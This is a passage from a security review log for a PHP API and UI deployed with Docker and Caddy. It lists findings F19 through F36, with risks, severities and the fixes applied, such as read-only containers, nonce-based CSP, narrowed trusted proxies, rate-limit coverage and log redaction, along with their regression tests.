  `serving initial configuration` with TLS storage at
  `/home/app/.local/share/caddy`.

### F19 — No `.dockerignore` — host artifacts baked into images
- **Files:** build context roots `api/`, `ui/`; `COPY . ./` lines
  `api/Dockerfile:31`, `ui/Dockerfile:37`
- **Risk:** No `.dockerignore` ships in either subproject. `tests/`,
  `db/migrations/`, `bin/console`, `.phpstan.cache/`,
  `.phpunit.cache/`, `node_modules/` (UI), `composer.lock` are baked
  into the image. The repo-root `.env` is outside the build context
  by happenstance — any future developer who drops `.env`,
  `.env.local`, or a fixture into `api/` or `ui/` will silently bake
  it into the published image. Test fixtures and `bin/console` are
  also available to any future LFI / arbitrary-file-read primitive.
- **Severity: 2**
- **Status:** Fixed in `96eaa10`. `api/.dockerignore` and
  `ui/.dockerignore` now apply to both build contexts and explicitly
  exclude:

  - `.env` / `.env.*` — the central F19 concern. Compose loads `.env`
    from the repo root (outside both build contexts), so nothing here
    is needed at runtime; blocking the pattern outright keeps any
    future stray secret file from shipping in the image.
  - `tests/` — fixtures and integration scaffolding that doubles as
    LFI surface area.
  - Dev-tooling caches and configs: `.phpunit.cache/`,
    `.phpunit.result.cache`, `.phpstan.cache/`, `.php-cs-fixer.cache`,
    `.php-cs-fixer.dist.php`, `phpstan.neon`, `phpunit.xml`.
  - VCS / editor noise: `.git`, `.gitignore`, `.gitattributes`,
    `.idea/`, `.vscode/`, `*.swp`, `*~`, `.DS_Store`.
  - `CHANGELOG.md`, `Dockerfile`, `.dockerignore`, `.claude/`.
  - `vendor/` (both subprojects) and `node_modules/` (ui) — the
    multi-stage builds install clean copies in the `deps`/`assets`
    stages and pull them in via `COPY --from=...`. Excluding the
    host copies also fixes a subtle bug: in
    `api/Dockerfile:30-31` and `ui/Dockerfile:36-37`, the
    `COPY --from=deps /app/vendor ./vendor` line is followed
    immediately by `COPY . ./`, which would have clobbered the
    deps-stage vendor with whatever the host had (typically a
    `composer install`-with-dev tree).

  Things that ARE needed at runtime stay in the context: `src/`,
  `public/`, `config/`, `docker/`, `composer.json`, `composer.lock`;
  api also keeps `db/migrations/`, `db/seeds/`, `bin/console`, and
  `openapi.php`; ui also keeps `resources/` (Twig views are loaded
  at runtime, and `resources/css|js/` are consumed by the assets
  stage). The ui `package.json`, `package-lock.json`,
  `tailwind.config.js`, and `postcss.config.js` are kept because the
  assets stage references them by name — `.dockerignore` applies to
  every stage that shares the same context, so excluding them would
  break `npx tailwindcss` / `npx esbuild`. They are tiny and
  non-sensitive.

  `bin/console` (api) is intentionally retained — `entrypoint.sh`
  invokes `php bin/console auth:bootstrap-service-token` on every
  api start, and `phinx migrate` plus the seeders run from the
  `migrate` mode. Removing them would break startup; the LFI-surface
  concern is mitigated by F18 (image runs as uid 1000, source tree
  is root-owned and read-only to the runtime user) and tracked
  further by F20.

  Verification: rebuilt both images; confirmed the excluded paths
  (tests, dev caches, `.dockerignore`, `Dockerfile`, `.git`, ui
  `node_modules`) are absent from `/app/` in the final images and
  the runtime-required paths (`src`, `public`, `config`,
  `db/migrations`, `db/seeds`, `bin/console`, `vendor`, `docker`,
  `openapi.php`, ui `resources/views`, ui
  `public/assets/{app.css,app.js,logo.svg}`) are present. api
  phpunit is 429/430 — the lone failure is the timing-sensitive
  `BlocklistPerfTest::test50kEntriesUnder500Ms` perf-budget
  assertion (628 ms vs 500 ms budget), unrelated to this change. ui
  phpunit is 134/134.

### F20 — Application source is writable by the process serving requests
- **Files:** `api/Dockerfile:36-38`, `ui/Dockerfile:42`
- **Risk:** Combined with F18, any RCE-grade bug allows the attacker
  to overwrite PHP source files in `/app` (vendor, src,
  `public/index.php`) and persist via the next request. A `USER`
  directive plus stricter perms (read-only `/app`, writable only
  `/data`) blocks this persistence path.
- **Severity: 2**
- **Status:** Fixed in `1ec9d04`. F18 already made `/app`
  root-owned so the unprivileged `app` user cannot write to it
  through standard ownership/perm checks. F20 layers on a
  kernel-level read-only rootfs at runtime so the same protection
  holds even against a primitive that bypasses uid checks (e.g.
  capability escalation, or a future regression that flips
  ownership). All three services in `docker-compose.yml` now carry:

  ```
  read_only: true
  tmpfs:
    - /tmp:uid=1000,gid=1000,mode=1777
    - /home/app/.config:uid=1000,gid=1000,mode=0700
    - /home/app/.local/share:uid=1000,gid=1000,mode=0700
  ```

  Writable paths are restricted to:
  - `/data` (api + migrate) — the existing `irdb-data` named
    volume; holds the SQLite database, phinxlog table, geoip mmdb
    files, the bootstrapped service token row, and any other future
    persistent state.
  - `/tmp` — PHP scratch and session files. World-writable
    (`mode=1777`) to match Linux convention; PHP sessions in the ui
    rely on this default save_path.
  - `/home/app/.config` and `/home/app/.local/share` — XDG dirs
    where Caddy/FrankenPHP write their `autosave.json` and
    (unused-here) TLS storage. Owned by uid=1000 with `mode=0700`
    so only the runtime user can read them.

  Verification: brought the stack up clean (`docker compose up -d`)
  with a synthetic `.env`. Phinx ran all 22 migrations; both api
  and ui reached `healthy`; both `/healthz` endpoints returned 200.
  Inside each container, `touch` against `/app`, `/app/src`,
  `/app/vendor`, `/app/public/index.php` returned
  `Read-only file system`, while `/tmp`, `/home/app/.config`,
  `/home/app/.local/share`, and `/data` (api only) accepted writes
  as uid=1000.

  Operator note: when adding a new writable path to the runtime
  (e.g. a cache dir, a queue spool, an upload staging area),
  declare it as either a named volume or a tmpfs in compose —
  writes anywhere else now fail with EROFS. F22 (scheduler) is
  scoped separately; this commit does not change `compose.scheduler.yml`.

### F21 — `getTraceAsString` logged in production may leak plaintext credentials
- **Files:** `api/src/Infrastructure/Http/JsonErrorHandler.php:48`,
  `api/src/Infrastructure/Jobs/JobRunner.php:91`
- **Risk:** PHP's stringified backtrace inlines scalar arguments to
  each frame. An exception thrown from inside `password_verify`, a
  Guzzle request setter, or any function called with a token/password
  as an argument writes the *plaintext* secret into the trace.
  `SecretScrubbingProcessor` matches Argon2/bcrypt hashes and
  `irdb_*` token shapes but does not match arbitrary plaintext
  passwords or generic OIDC `client_secret` values, so password-spray
  and OIDC misconfig errors leak via stdout logs.
- **Severity: 2**
- **Status:** Fixed. Both call sites now route through
  `App\Infrastructure\Logging\SafeTrace::format()`, which walks
  `Throwable::getTrace()` (and the `getPrevious()` chain) and renders
  one frame per line as `#N file(line): Class::method()` — the
  `args` element is dropped entirely, so no scalar argument can ever
  reach a log record regardless of the secret-scrubber's pattern
  list. `JsonErrorHandler` and `JobRunner` no longer call
  `getTraceAsString()`. Regression test in
  `api/tests/Unit/Logging/SafeTraceTest.php` covers single-frame
  arg suppression, `Caused by` chain walking, and the rendered frame
  layout.

### F22 — `compose.scheduler.yml` runs `apk add` at every container start
- **File:** `compose.scheduler.yml:3-8`
- **Risk:** `image: alpine:3` (no digest, no minor pin) plus
  `apk add --no-cache curl tini` at runtime means each restart pulls
  whatever Alpine ships that minute. A compromise of the Alpine
  package mirror (or typosquatting) gets root in the scheduler
  container, which holds `INTERNAL_JOB_TOKEN` and can call
  `/internal/jobs/*`. Pin the base image digest and the apk versions
  or build a real image.
- **Severity: 2**
- **Status:** Fixed. Replaced the inline `image: alpine:3` + runtime
  `apk add` with a real build context at `scheduler/`. The new
  `scheduler/Dockerfile` pins `FROM alpine:3.21@sha256:48b0309c…`
  and installs `curl=8.14.1-r2`, `tini=0.19.0-r3`,
  `ca-certificates=20260413-r0` at build time; restarts now reuse
  the locally-built image with no network fetch. The crontab
  (`scheduler/scheduler.crontab`) is baked into the image, which
  also removes the previously dangling `./docker/scheduler.crontab`
  bind-mount path. The compose service runs `read_only: true` with
  `no-new-privileges:true` and only `/run` + `/tmp` tmpfs mounts;
  `cap_drop: [ALL]` was tested and rejected because busybox crond
  calls `initgroups()` before each fork and dies with
  "can't set groups" without `CAP_SETGID`. Verified end-to-end:
  `docker compose -f docker-compose.yml -f compose.scheduler.yml
  up -d` brings the sidecar up healthy and within one minute the
  api responds `{"job":"tick","status":"success",...}` to the
  scheduled curl.

### F23 — `jumbojett/openid-connect-php ^1.x` constraint pins a major with historical CVEs
- **File:** `ui/composer.json:19`
- **Risk:** The `^1.0` constraint covers a major line that has had
  multiple advisories (e.g. GHSA-jq3w-9mgf-43m4 / CVE-2024-21489 in
  v0.x/early-v1; an iss-confusion advisory in v1.x prior to 1.0.2).
  Given this library is the sole OIDC token-validation entry point,
  drift here is critical. Tighten to `^1.0.2 || ^2.0` after testing
  and run `composer audit` regularly.
- **Severity: 2**
- **Status:** Fixed in `f66ceaf`. `ui/composer.json` now requires
  `jumbojett/openid-connect-php: "^1.0.2 || ^2.0"`, excluding the
  pre-1.0.2 versions that carry the iss-confusion advisory while still
  permitting an upgrade path to a future v2.x line. The `composer.lock`
  was regenerated against the new constraint (still resolves to v1.0.2,
  the latest published release) and `ui` regression tests pass
  unchanged. The "run `composer audit` regularly" half of the
  recommendation was already in place: `scripts/ci.sh` invokes
  `composer audit --no-dev` for both `api` and `ui` on every CI run
  (lines 84-85 and 109-110), so any future advisory against the locked
  version fails the build.

### F24 — UI CSP allows `script-src 'unsafe-inline' 'unsafe-eval'`
- **File:** `ui/docker/Caddyfile:33`
- **Risk:** `'unsafe-inline'` permits inline `<script>` blocks AND
  inline event handlers (`x-on:click`, `onclick`). Any stored or
  reflected XSS sink elsewhere in the app executes unimpeded. The
  trade-off is documented (Alpine.js v3 `Function()` evaluator), but
  CSP is here a defence-in-depth string only — XSS is fully
  exploitable without strict CSP. Migrating to nonces or hashed
  scripts and packaging Alpine-with-CSP-build would close the gap.
- **Severity: 2**
- **Status:** Fixed. `script-src` is now `'self' 'nonce-…'` only —
  `'unsafe-inline'` and `'unsafe-eval'` are gone. Two changes close it:
  1. **Per-request CSP nonce.** `App\Http\CspMiddleware` mints a 16-byte
     URL-safe nonce per request, exposes it on the request attribute and
     as the Twig `csp_nonce` global, and stamps a fresh
     `Content-Security-Policy: …; script-src 'self' 'nonce-…'; …` header
     on the response. The static CSP block is removed from
     `ui/docker/Caddyfile` because the nonce changes per response and
     Caddy can't see that. The only inline `<script>` left in the
     codebase — the FOUC dark-mode preloader in
     `ui/resources/views/layout.twig` — carries `nonce="{{ csp_nonce }}"`.
  2. **Alpine.js CSP build.** Switched `ui/package.json` from `alpinejs`
     to `@alpinejs/csp`, which never calls `Function()` and so does not
     need `'unsafe-eval'`. The CSP build forbids inline expressions in
     `x-data` / `x-on:` / `x-show` / `x-bind`, so every component lives
     in `ui/resources/js/app.js` registered via `Alpine.data(name, …)`
     (toggle, rowExpander, kindSwitcher, submitGuard, dangerousAction,
     loginForm, decayPreview, policyPreview, policyScoreDistribution,
     scoreOverTime, rawTokenCopy). Initial values are read from
     `data-*` attributes on the root element, not interpolated into
     attribute expressions. The audit-page datetime-local helper and
     three previously per-page inline `<script>` blocks (categories,
     ips/detail, policies) are inlined into `app.js`.
  Regression tests:
  - `ui/tests/Unit/Http/CspMiddlewareTest.php` covers nonce uniqueness,
    URL-safe alphabet, the `script-src` + `frame-ancestors` shape, and
    middleware integration.
  - `ui/tests/Integration/App/CspHeaderTest.php` boots the full Slim
    app and asserts: every response carries CSP, the layout
    `<script nonce>` value matches the response header's
    `'nonce-…'`, nonces rotate across requests, and no inline DOM
    event handlers or `x-data="{…}"` object literals leak into the
    rendered HTML.

### F25 — Trusted-proxy XFF rewrite + `private_ranges` may allow `/internal/*` bypass
- **Files:** `api/docker/Caddyfile:7-11, 50-62`,
  `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`,
  `docker-compose.yml:15-16`
- **Risk:** Caddy is configured `trusted_proxies static private_ranges`,
  so it honors `X-Forwarded-For` and rewrites `REMOTE_ADDR` whenever
  the immediate peer is in any RFC1918 range. The api container's
  port 8081 is published. In a deployment where another container on
  the same docker bridge or a misconfigured host-iptables rule reaches
  port 8081 from a 172.16/12 source, both the Caddyfile gate
  (`remote_ip 127.0.0.1/32 ::1/128 ...`) and the PHP
  `InternalNetworkMiddleware` see a forged source. The
  `INTERNAL_JOB_TOKEN` is still required, but the network-layer
  defense is bypassable on tenant-shared docker hosts.
- **Severity: 2**
- **Status:** Fixed. Three layers tighten the gate to loopback-only by
  default; everything else has to opt in explicitly:
  1. **Caddy `trusted_proxies` narrowed.** `api/docker/Caddyfile`
     replaces `trusted_proxies static private_ranges` with
     `trusted_proxies static {$TRUSTED_PROXIES:127.0.0.1/32 ::1/128}`.
     With no env override, only loopback is treated as a "real proxy"
     for XFF rewriting — so a non-loopback peer can no longer forge
     `REMOTE_ADDR=127.0.0.1` via `X-Forwarded-For`. Operators behind a
     genuine reverse proxy set `TRUSTED_PROXIES` to that proxy's CIDR.
  2. **Caddy `@internal` matcher narrowed.** The `remote_ip` allowlist
     for `/internal/*` is now `127.0.0.1/32 ::1/128` only — the wide
     RFC1918 entries (`172.16.0.0/12`, `10.0.0.0/8`, `192.168.0.0/16`)
     are gone. Mirrored on the opposite `not remote_ip` deny rule.
  3. **PHP `InternalNetworkMiddleware` constructor-driven.** The
     hardcoded RFC1918 list is gone; the constructor now takes an
     optional CIDR list and falls back to
     `DEFAULT_ALLOWED_CIDRS = ['127.0.0.1/32', '::1/128']`. The DI
     container reads `INTERNAL_CIDR_ALLOWLIST` from env (parsed by a
     new `parseCidrList()` helper that fails-closed on invalid input)
     and passes the result to the middleware. Operators with a host-
     cron VM on a private bridge add their CIDR via env and Caddyfile.
  4. **Sidecar scheduler joins the api's network namespace.**
     `compose.scheduler.yml` switches to `network_mode: "service:api"`
     and `scheduler.crontab` posts to `http://localhost:8081/...`
     instead of `http://api:8081/...`. The scheduler's call now
     arrives on `127.0.0.1` inside the shared netns, satisfying the
     loopback-only gate without weakening it for actual neighbours.
     SPEC §7 ("Scheduling") and §6 ("Internal endpoints") updated to
     match.
  Regression tests in `api/tests/Unit/Http/InternalNetworkMiddlewareTest.php`:
  the data provider now expects RFC1918 sources to be **rejected** under
  the default; new cases cover (a) `null` / `[]` falling back to the
  loopback default, (b) a custom `172.20.0.5/32` allowlist admitting only
  that exact source, (c) invalid CIDRs failing-closed at construction,
  and (d) the `parseCidrList()` env-parser accepting comma- and
  whitespace-separated input while throwing on garbage.

### F26 — JsonErrorHandler can leak raw exception messages in production
- **File:** `api/src/Infrastructure/Http/JsonErrorHandler.php:53-82`
- **Risk:** The "hide details in prod" guard fires only when status
  ≥ 500. The `HttpException` branch returns
  `[$e->getCode(), ['error' => $e->getMessage()]]` for codes anywhere
  in 400–499 — attacker-influenced messages are returned verbatim.
  The catch-all branch passes `$e->getMessage()` into the payload
  and only overwrites it with `'internal error'` when status ≥ 500
  AND `!expose`. Internal exception types (DBAL, PDO, parse errors)
  whose `getCode()` happens to be in the 4xx range bypass
  suppression and return raw messages.
- **Severity: 2**
- **Status:** Fixed in `ce77454`. `JsonErrorHandler` now maps every
  HTTP status to a fixed `STATUS_TOKENS` lookup (`bad_request`,
  `forbidden`, `too_many_requests`, …) and only emits that canonical
  token in the `error` field. `Throwable::getMessage()` is no longer
  echoed to clients in production for any branch — `HttpException`,
  `HttpNotFoundException`, `HttpMethodNotAllowedException`, or
  catch-all. Out-of-range `getCode()` (including the default `0` from
  `new HttpException(...)`) is clamped to 500. Non-HttpException
  Throwables always collapse to status 500 regardless of their
  numeric code, closing the previous 4xx-bypass path. The raw
  exception class + message are only added under a separate
  `detail` key when `$displayErrorDetails` (Slim) or
  `$exposeDetails` (dev env) is on. New unit-test suite
  `JsonErrorHandlerTest` covers the canonical responses for
  HttpNotFound/HttpMethodNotAllowed/HttpBadRequest/HttpForbidden/
  HttpInternalServerError, the generic-Throwable 500 path, the
  4xx-numeric-code-on-non-HttpException no-leak case, the clamp on
  `code=0`, the unmapped-but-valid 418 fallback, the dev-mode
  detail shape, and the per-request `displayErrorDetails` override.

### F27 — `RateLimitMiddleware` is skipped when no principal is present
- **Files:** `api/src/Infrastructure/Http/Middleware/RateLimitMiddleware.php:33-36`
- **Risk:** The middleware bails out and forwards unrate-limited if
  `$principal` is missing. Anything outside the public group
  (admin/auth/internal/health/docs) receives no rate limiting.
  Auth-failed paths (401 from `TokenAuthenticationMiddleware`) never
  reach `RateLimitMiddleware` either — a client hammering with
  invalid bearer tokens incurs DB lookups (and `last_used_at` writes
  on hits) with zero backoff, pinning DB pool / connection budget.
- **Severity: 2**
- **Status:** Fixed in `060119a`. `RateLimitMiddleware` no longer
  bypasses on missing principal; it now derives the bucket key from
  whichever signal is present:
    - principal attached → `token:<tokenId>` (post-auth, original
      behaviour),
    - principal missing  → `ip:<REMOTE_ADDR>` (pre-auth, new fail-closed
      path; empty/absent REMOTE_ADDR collapses to a single
      `ip:unknown` bucket so we never silently bypass).
  `RateLimiter::tryConsume()` now accepts arbitrary string keys so
  these namespaces stay independent — a single user's per-token bucket
  cannot drain the per-IP bucket that throttles unauthenticated
  traffic.

  `AppFactory` registers `RateLimitMiddleware` twice on `/api/v1/*` and
  `/api/v1/auth/*`: once as the outermost layer (runs before
  `TokenAuthenticationMiddleware`, consumes from the IP bucket) and
  once between `AuditContext` and the handler (consumes from the
  token bucket once a principal is attached). The pre-auth position
  is what closes the 401-bypass: invalid-bearer floods now hit the
  IP bucket and 429 before the request reaches `tokens.findByHash()`.

  Admin/internal/health/docs route groups still have no rate limit —
  that is the scope of F29 (admin) and existing internal-network /
  loopback gating, not this finding.

  Tests:
    - `RateLimiterTest::testTokenAndIpNamespacesDoNotShareABucket`
      verifies the namespaces hold separate buckets.
    - New `RateLimitMiddlewareTest` covers token-keyed buckets,
      IP-keyed fallback, per-IP isolation, and the
      missing/empty `REMOTE_ADDR` `ip:unknown` collapse.
    - `RateLimitTest::testInvalidBearerTokenFloodIsRateLimitedBeforeAuth`
      sends 20 requests with a junk bearer; the first 4 reach the
      auth path (401), the rest 429 before any DB lookup.
    - `RateLimitTest::testMissingBearerHeaderIsAlsoRateLimitedByIp`
      covers the no-Authorization-header case on `/api/v1/blocklist`.

### F28 — Rate limiter buckets are per-process, unbounded, and reset per replica
- **File:** `api/src/Infrastructure/Http/RateLimiter.php:23-49`
- **Risk:** `$buckets` is unbounded and never evicted (token churn
  balloons memory in long-lived FrankenPHP workers). Multi-replica
  deployments give an attacker a fresh bucket per replica — effective
  rate is `(perSecond) * N_replicas` per token behind a non-sticky
  LB. Idle/revoked tokens linger forever until container restart.
- **Severity: 2**
- **Status:** Fixed in `e09964b`. `RateLimiter` now caps the bucket map at a
  configurable `maxBuckets` (default 10 000). Every `tryConsume()`
  re-inserts the touched key at the end of the PHP array so insertion
  order tracks LRU; on overflow the oldest entries get dropped in
  batches of 256 so eviction amortises across requests instead of
  running on every call once we're at steady state. A dropped bucket
  comes back as a fresh full-capacity bucket on next access —
  equivalent to the bucket having idled long enough to refill, so
  eviction never grants more tokens than the configured rate would
  already permit. The cap kills the unbounded-growth path and
  short-circuits the "idle/revoked tokens linger forever" leak: once a
  rotated/revoked token's bucket is the LRU front, the next eviction
  drops it. The multi-replica half is a SPEC §10 topology constraint
  (single-replica is the documented supported topology for the
  limiter; horizontal `api` scaling requires sticky LB) and is tracked
  separately as future scaling work to swap the in-process map for a
  shared backend (Redis / DB). Regression tests in
  `api/tests/Unit/Http/RateLimiterTest.php`
  (`testBucketMapIsBoundedByMaxBucketsCap`,
  `testEvictedBucketReturnsAtFullCapacityOnReuse`,
  `testRecentlyTouchedKeyIsNotEvicted`,
  `testMaxBucketsBelowEvictionBatchIsRejected`).

### F29 — `/api/v1/admin/*` group has no rate limit
- **File:** `api/src/App/AppFactory.php:188-337`
- **Risk:** The admin group attaches `tokenAuth → impersonation →
  auditContext` but not `$rateLimit`. Combined with F30 (slow
  searchIps), F31 (deep-offset audit), and F32 (N+1 enrichment), any
  compromised Viewer token (Viewer is the OIDC default role) can
  issue unlimited heavy queries.
- **Severity: 2**
- **Status:** Fixed in `a997d65`. The admin route group now attaches
  `RateLimitMiddleware` in the same two-position pattern used by the
  public and auth groups (SEC_REVIEW F27): once as the outermost
  layer (pre-auth, `ip:<REMOTE_ADDR>` bucket — throttles
  invalid-bearer floods before TokenAuth queries the DB) and once
  innermost (post-auth, `token:<tokenId>` bucket — caps an
  authenticated Viewer driving the heavy admin queries flagged by
  F30/F31/F32). The order added is
  `rateLimit(token) → auditContext → impersonation → tokenAuth →
  rateLimit(ip)` so execution runs `ip → tokenAuth → impersonation →
  auditContext → token → controller`. Mitigates F29 directly and
  bounds the impact of F30/F31/F32 until those land their own fixes.
  Regression tests in `api/tests/Integration/Public/RateLimitTest.php`
  (`testAdminRoutesAreRateLimited` — replaces the prior
  `testAdminRoutesNotRateLimited` which encoded the bug as expected
  behaviour — and `testAdminAuditLogIsRateLimitedPerToken`).

### F30 — `IpScoreRepository::searchIps` allows full-table scan via `q=%X%`
- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:146-307`
- **Risk:** For any `q` value not matching `/^[\da-fA-F:.]+$/`, the
  query degrades to `LIKE '%q%'`, forcing a full `ip_scores` table
  scan + `GROUP BY ip_bin, ip_text` (no index supports a
  non-anchored LIKE). At the SPEC's 50k-row target this is slow.
  Pair with `min_score`/`max_score` HAVING and the LEFT JOIN on
  `ip_enrichment` (joined whenever country or asn is supplied) and a
  Viewer can drive pathological execution per request. There is no
  statement timeout. Each request also runs a separate `COUNT(*)`
  over the same wrapped subquery, doubling cost.
- **Severity: 2**
- **Status:** Fixed in `2cc1924`. `IpsController::parseSearchFilters`
  rejects any `q` that doesn't match `/^[0-9a-fA-F:.]+$/` or exceeds
  64 chars (IPv6 max is 39) with 400 `validation_failed`, so the
  non-anchored substring path can no longer be reached from the API.
  `IpScoreRepository::searchIps` drops the `%q%` branch entirely —
  the only LIKE shape it ever issues is `s.ip_text LIKE 'q%'`, and
  it re-validates `q` with the same regex as defence-in-depth so a
  future caller cannot accidentally reintroduce a full-table scan.
  Same change incidentally closes F46 (`%`/`_` wildcard injection in
  the IPs search), since neither character survives the regex.
  Pre-auth and per-token admin rate limits added under F29
  bound the cost of even the legitimate prefix path. The remaining
  `COUNT(*)` cost on deep filters is tracked under F31/F32.
  Regression tests in
  `api/tests/Integration/Admin/IpsControllerTest.php`
  (`testSearchRejectsNonIpShapedQuery`,
  `testSearchRejectsOverlongQuery`,
  `testSearchQueryIsPrefixAnchoredNotSubstring`).

### F31 — `AuditController` has no length cap, no max-offset cap, deep-offset scans
- **Files:** `api/src/Application/Admin/AuditController.php:58-101`,
  `api/src/Infrastructure/Audit/AuditRepository.php:68-129`
- **Risk:** `action`, `entity_type`, `entity_id`, `subject_id` are
  passed unfiltered. With `page_size=200` and large `offset`,
  `LIMIT 200 OFFSET huge` causes a deep scan over `audit_log`. No
  max-offset cap. `COUNT(*)` runs on every paginated request. A
  logged-in Viewer can hit `?page=999999&page_size=200` to force
  scans repeatedly.
- **Severity: 2**
- **Status:** Fixed in `3a2564d`. `AuditController::list` now bounds every
  free-form filter (`action`, `entity_type`, `entity_id`,
  `subject_kind`, `subject_id`) to `MAX_FILTER_LENGTH = 128` chars and
  rejects any computed offset above `MAX_OFFSET = 10 000` with 400
  `validation_failed` (`{"page": "pagination depth exceeded; use `to=`
  to cursor into older rows"}`). The cap is large enough to
  comfortably page through human-driven browsing (offset 10 000
  covers 200 pages of 50 or 50 pages of 200) but bounds the
  `LIMIT n OFFSET huge` worst case the finding describes. The
  request-time `COUNT(*)` cost is bounded by the same gate — once a
  Viewer can't drive offsets past 10 k, the count's cost is bounded
  by the WHERE-clause's selectivity instead of by attacker choice;
  the per-token admin rate limit added under F29 caps how often a
  Viewer can issue these counts. Regression tests in
  `api/tests/Integration/Admin/AuditLogControllerTest.php`
  (`testOversizedFilterRejected`, `testDeepOffsetRejected`,
  `testDeepOffsetAtBoundaryAccepted`).

### F32 — Admin list endpoints execute N+1 enrichment lookups per page row
- **Files:** `api/src/Application/Admin/IpsController.php:84-86, 187-190`,
  `api/src/Application/Admin/AdminControllerSupport.php:67-77`
- **Risk:** `IpsController::list` calls
  `enrichment->findByIpBin()` and `effectiveStatusFor()` per row.
  At `page_size=200`, that's 400+ DB roundtrips per request. With
  no admin rate limit (F29), this amplifies query cost
  significantly. Refactor to batch-load enrichment by ip_bin set.
- **Severity: 2**
- **Status:** Fixed in `0594305`. `IpsController::list` no longer issues per-row
  lookups. Two new batch methods replace the inner loop:
  `IpEnrichmentRepository::findByIpBins()` runs a single
  `WHERE ip_bin IN (…)` SELECT and returns a bin-keyed map;
  `IpScoreRepository::topCategoryByIpBins()` runs one
  `score > 0 AND ip_bin IN (…) ORDER BY ip_bin, score DESC` SELECT
  and groups in PHP. The third per-row call —
  `EffectiveStatusService::forIp` — is replaced by
  `effectiveStatusFromRow()`, which derives the `Scored` decision
  from the search row's existing `max_score` column and reuses the
  in-memory `CidrEvaluator` for the `Allowlisted` / `ManuallyBlocked`
  checks (already O(1) hash lookups, loaded once per request). Net
  cost drops from `2 + 3·page_size` round-trips per page (601 at
  page_size=200) to 4: search + count, plus the two batch lookups —
  invariant in page size. Combined with the per-token admin rate
  limit added under F29 and the deep-pagination guard added under
  F31, a Viewer can no longer drive query cost via either depth or
  per-row amplification. Regression tests in
  `api/tests/Integration/Admin/IpsControllerTest.php`
  (`testSearchBatchesPerRowLookups`, `testSearchStatusUsesMaxScoreColumn`).

---

## Severity 1 — low / informational

### F33 — `OidcClaims->email` is `?string` but `upsertOidc` types it as `string`
- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:65-71`,
  `ui/src/Auth/JumbojettOidcAuthenticator.php:56-61`
- **Risk:** Type-system finding rather than direct exploit; a TypeError
  at the boundary on null email. Downstream merge-by-email tools could
  later confuse two users since the OIDC primary key is `subject` but
  some IdPs don't release `email`.
- **Severity: 1**
- **Status:** Fixed. `UserRepository::upsertOidc` now types `email` as
  `?string` and the DBAL upsert persists `users.email = NULL` when the
  IdP doesn't release the claim. `AuthController::upsertOidc` switches
  to a `nullableStr()` extractor for `email` (missing / JSON-null /
  empty string all collapse to `null`); `subject` and `display_name`
  remain mandatory. The `user.created` / `user.role_changed` audit
  rows fall back to `display_name` for `target_label` when `email`
  is null, so SOC tooling still gets a human-readable identifier.
  Regression tests in
  `api/tests/Integration/Auth/AuthEndpointsTest.php`
  (`testUpsertOidcAcceptsMissingEmail`,
  `testUpsertOidcAcceptsExplicitNullEmail`,
  `testUpsertOidcStillRejectsMissingSubject`,
  `testUpsertOidcStillRejectsMissingDisplayName`).

### F34 — Sensitive identifiers logged at INFO/WARN/ERROR
- **Files:** `ui/src/Auth/LoginThrottle.php:79-90`,
  `ui/src/Auth/OidcController.php:84`
- **Risk:** Attempted usernames (which can include passwords typed in
  the wrong field), source IPs, and OIDC subjects are logged in
  plaintext. SIEM exports / log access by lower-trust operators
  amount to accidental disclosure.
- **Severity: 1**
- **Status:** Fixed. New `App\Logging\LogIdentifier::fingerprint()` helper
  produces a stable 12-hex-char SHA-256 prefix of any sensitive
  identifier; an empty input collapses to the `empty` sentinel so log
  matching doesn't fold an absent field into the SHA-256-of-empty
  bucket. `LoginThrottle::recordFailure()` now logs `username_fp` and
  `source_ip_fp` instead of the raw values on both the per-IP and
  per-username buckets, on both the failure-with-no-lock and
  lockout-triggered paths. `OidcController` logs `subject_fp` instead
  of `subject` on the `user_disabled` denial and the no-role-assigned
  branch. Triage by counting hits on a single fingerprint still works;
  a SIEM reader no longer sees passwords typed in the username field,
  raw client addresses, or IdP `sub` claims. (The fingerprint is not
  cryptographic protection against an attacker with full log access
  who is willing to brute-force a small space such as the IPv4
  universe — that threat is out of scope for F34, which targets
  accidental disclosure.) Regression tests:
  `ui/tests/Unit/Logging/LogIdentifierTest.php`,
  `LoginThrottleTest::testRecordFailureLogsFingerprintsNotRawIdentifiers`,
  and the two new
  `OidcFlowTest::test{NoneRoleDoesNotLogRawSubject,DisabledUserDeniedDoesNotLogRawSubject}`
  cases (the latter exercised via a new `AppTestCase::captureLogs()`
  helper that swaps in a Monolog `TestHandler`).

### F35 — `INTERNAL_JOB_TOKEN` has no minimum-length enforcement at startup
- **File:** `api/src/Infrastructure/Http/Middleware/InternalTokenMiddleware.php:35-47`
- **Risk:** `hash_equals` is correct, but a misconfigured deploy with
  `INTERNAL_JOB_TOKEN=foo` is accepted as long as it is non-empty.
  Network gate (`InternalNetworkMiddleware`) limits exposure but
  combined with F25 a docker-network neighbour can brute-force a
  weak token. Validate at startup that the token is at least 32 hex
  chars or refuse to boot.
- **Severity: 1**
- **Status:** Fixed. New `App\App\Config::validateOrExit()` (mirrors the
  ui's `App\App\Config::validateOrExit`) runs from `api/public/index.php`
  before `Container::build()`. It refuses to boot unless
  `INTERNAL_JOB_TOKEN` matches `^[0-9a-fA-F]{32,}$`, writing a clear
  human-readable error to STDERR and `exit(1)`-ing so the
  misconfiguration crashes on `docker compose up` rather than serving
  `/internal/*` to a docker-network neighbour with a weak shared secret.
  32 hex chars = 128 bits of entropy; the `.env.example` documents
  64 (from `openssl rand -hex 32`) and that remains the recommendation.
  The middleware's own runtime branch
  (`if ($expectedToken === '') { unauthorized; }`) stays in place as a
  belt-and-braces defence-in-depth check for tests and for the
  hypothetical case where a future call site builds the container
  directly without going through `public/index.php`. Tests bypass the
  validator (they call `Container::build($settings)` directly with
  empty values), so the fix doesn't perturb `AppTestCase`. Regression
  tests in `api/tests/Unit/App/ConfigTest.php` cover empty / missing-
  key / short-hex / non-hex / 'foo' / 32-char-hex / 64-char-hex /
  uppercase-hex, and a subprocess test asserts `validateOrExit()`
  writes the error to STDERR and exits 1.

### F36 — UI session role/identity is captured at login and never re-validated
- **Files:** `ui/src/Http/AuthRequiredMiddleware.php:27-32`,
  `ui/src/Auth/SessionManager.php:84-99`
- **Risk:** If an OIDC user is removed from an admin group in Entra,
  or a user record is deleted/disabled in the api, the existing UI
  session continues to operate with the stale role until expiry
  (8h idle / 24h absolute). No "revoke session by user_id"
  primitive.
- **Severity: 1**
